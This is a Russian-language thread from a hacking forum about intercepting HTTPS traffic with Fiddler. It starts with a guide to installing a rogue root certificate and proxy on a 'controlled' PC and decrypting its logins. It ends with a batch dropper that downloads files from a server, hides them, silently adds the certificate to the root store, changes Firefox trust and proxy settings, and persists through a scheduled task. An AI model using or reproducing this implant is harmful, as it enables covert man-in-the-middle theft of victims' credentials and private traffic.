• XSS.stack #1 – первый литературный журнал от юзеров форума

Pivoting Настройка ПК с проксированием FIDDLER

Putichka

RAID-массив
Пользователь
Регистрация
22.07.2020
Сообщения
69
Реакции
47
Доброе утро форумчане! Решил попробовать на днях эту тему работает ли она сейчас!
Для успешного выполнения перехвата данных из защищенного HTTPS трафика и его дешифрования необходимы следующее:


- постоянно работающая на период мероприятия рабочая станция с прямым IP адресом или IP адресом в одной сети с контролируемой станцией (в данном примере я применяю виртуальную рабочую станцию под управлением операционной системы предварительно настроена таким образом, что находятся в периметре отдельно созданной виртуальной сети 192.168.11. /24 и имеет IP адресом 192.168.111.7)


- проксирующее программное обеспечение с функцией экспорта вверенного сертификата (в данном примере применяется программное обеспечение Fiddler Everywhere производства Progress Telerik, доступное для свободной загрузки на официальном веб-сайте https://www.telerik.com/fiddler).


Запуск такого программного обеспечения желательно по административным правам, а дефолтный tcp порт указанного программного обеспечения должен быть открыт на файерволе или брандмауэре операционной системы рабочей станции станции).


- физический доступ к контролируемой станции для первоначальной настройки, а также физический доступ к контролируемой станции для изменения настроек на обычные после завершения мероприятий (в данном примере виртуализации VMWare, предварительно сконфигурированная таким образом, что находятся в периметре отдельно созданной виртуальной сети 192.168.111.


(А) С помощью запущенного и отлаженного проксирующего программного обеспечения следует экспортировать доверенный сертификат (в данном занятии в окне программного обеспечения Fiddler


- нажать "Tools" > "Options";


- в окне Options выбрать вкладку HTTPS;


- Выбрать пункты Capture HTTPS Connects и Decrypt HTTPs traffic;


- нажать кнопку «Actions» и нажать «Export root certificate to desktop»).


- во вкладке "Connections" выбрать пункты "Capture FTP requests" и "Allow remote computer to connect"

1665128187238.jpeg


2. Настройка контролируемой станции для проксирования компьютерного трафика, использование вверенного сертификата.

Файл доверенного сертификата с рабочей станции (в данном примере применяется файл FiddlerRoot.cer на рабочем столе) необходимо перенести на контролируемую станцию (в данном занятии на рабочий стол путем копирования и вставки средствами функции dragndrop VMWare Tools).
Файл вверенного сертификата следует импортировать в хранилище (в данном примере путем вызова программы управления сертификатами пользователей Microsoft Windows 10 Pro (certmgr)) (или же в поиске управление сертификатами). » > «Все задачи» > «Import», импортировать файл «FiddlerRoot.cer» с рабочего стола в хранилище сертификатов).

1665128203215.jpeg


В программе «Параметры прокси-сервера» в окне «Настройки» включить пункт «Использовать прокси-сервер»; ввести адрес рабочей станции – это задача 192.168.111.7 и порт 8888); нажать «Сохранить»).

1665128219394.jpeg


После правильной настройки при посещении защищенных HTTPS веб-сайтов с помощью всех обозревателей контролируемой станции (в данном примере 192.168.111.6) расшифрованный трафик будет показываться в окне проксирующего программного обеспечения Inspectors окна > TextView или WebForms.

После всей настройки решил зарегаться на 1 попавшем форуме и проверить расшифровку гет пост запросов и вот что я получил.

1665128232574.jpeg


https://xss.pro/attachments/43998/?hash=5cdb213c9f748c27d13afb83683fa747
1665128240435.jpeg


В дальнейшем хочу попробовать все сделать через скрипт что бы автоматически подгружался церт с сервера. Если кто-то пробовал подобное буду благодарен за подсказки. Спасибо!
 
О чем вообще статья?
Про установку Fiddler, сертификата и прокси?
Я надеюсь это только начало. Далее будет написание скриптов ну и тадалее.
 
О чем вообще статья?
Про установку Fiddler, сертификата и прокси?
Статья о том как подробно расшифровать трафик пк на котором будет стоять сертификат, если ты уже знаешь об этом то статья была создана для начинающих еще
 
Я надеюсь это только начало. Далее будет написание скриптов ну и тадалее.
Так то да хочу допилить что бы все делалось одним скриптом. Еще раз повторяю это идет как начало исследования
 
Я думаю тебе нужно создать отдельную тему где будет "путь до реального тру хацкера" Интересно какие статьи будут через пару лет) И потом книги продавать "как я украл миллион")))
 
Я думаю тебе нужно создать отдельную тему где будет "путь до реального тру хацкера" Интересно какие статьи будут через пару лет) И потом книги продавать "как я украл миллион")))
Хах была возможно был бы бестселлером😂😂😂
 
Подскажите плз как через Fiddler отснифать приложение использующее https ?
Расшифровывает только то что с браузера идет, с самого софта нет
ОС Win, серт установлен
 
Статья о том как подробно расшифровать трафик пк на котором будет стоять сертификат, если ты уже знаешь об этом то статья была создана для начинающих еще
https://xss.pro/threads/26729/
https://xss.pro/threads/42183/
 
Подскажите плз как через Fiddler отснифать приложение использующее https ?
Расшифровывает только то что с браузера идет, с самого софта нет
ОС Win, серт установлен
Он снимает по факту все запросы https нужно пробовать играться с приложениями
 
Он снимает по факту все запросы https нужно пробовать играться с приложениями
"снять" весь трафик через MiTM не очень возможно, если имееть ввиду проверку подлиности серта на клиенте.
конечно все можно отреверсить и подменить, но сам по себе реверс прокси в такое не умеет.
 
Подымая тему обратно! Возникли идеи ее воплощения как можно обычным банником протушить так сказать это все дело! Допили ... так вот что вышло
есть 2 файла допустим 1.cmd то что ниже код будет и js файл (он же
перемещается в папку где хранятся js скрипты в мозиле)

1) проверяет указанные папки на наличие нужных файлов (1.bat, gg.js, Fiddler.cer) и скачивает в те папки.
off
if exist C:\Users\%USERNAME%\AppData\qq.cmd (echo "")else (
curl ##http://192.168.217.131/ss/1.cmd## -o C:\Users\%USERNAME%\AppData\1.cmd
attrib +h C:\Users\%USERNAME%\AppData\1.cmd)

if exist C:\Users\%USERNAME%\AppData\FiddlerRoot.cer (echo "")else (
curl ##http://192.168.217.131/ss/FiddlerRoot.cer## -o C:\Users\%USERNAME%\AppData\FiddlerRoot.cer
attrib +h C:\Users\%USERNAME%\AppData\FiddlerRoot.cer
certutil.exe -addstore root C:\Users\%USERNAME%\Desktop\FiddlerRoot.cer /f)

if exist C:\Users\IEUser\AppData\gg.js (echo "")else (
curl ##http://192.168.217.131/ss/gg.js## -o C:\Users\%USERNAME%\AppData\gg.js)

2) gg.js перемещается в папку где хранятся js скрипты в мозиле

move "C:\Users\%USERNAME%\AppData\gg.js" "C:\Program Files\Mozilla Firefox\defaults\pref"

3) меняется прокси в реестре

reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v ProxyServer /t REG_SZ /d ##122.168.217.131:5555## /f
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v ProxyEnable /t REG_DWORD /d 1 /f

4) и добавляется для подстраховки в так менеджер батник если файл слетит то он заново его скачает с сервака (выполнение 1.cmd)

SCHTASKS /CREATE /SC ONSTART /TN "myTask\mytask" /TR "C:\Users\%USERNAME%\AppData\qq.cmd" /f

в js прописываем

/* Enable experimental Windows trust store support */
pref("security.enterprise_roots.enabled", true);

ПС если есть еще идеи буду рад обсуждениям!!!
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх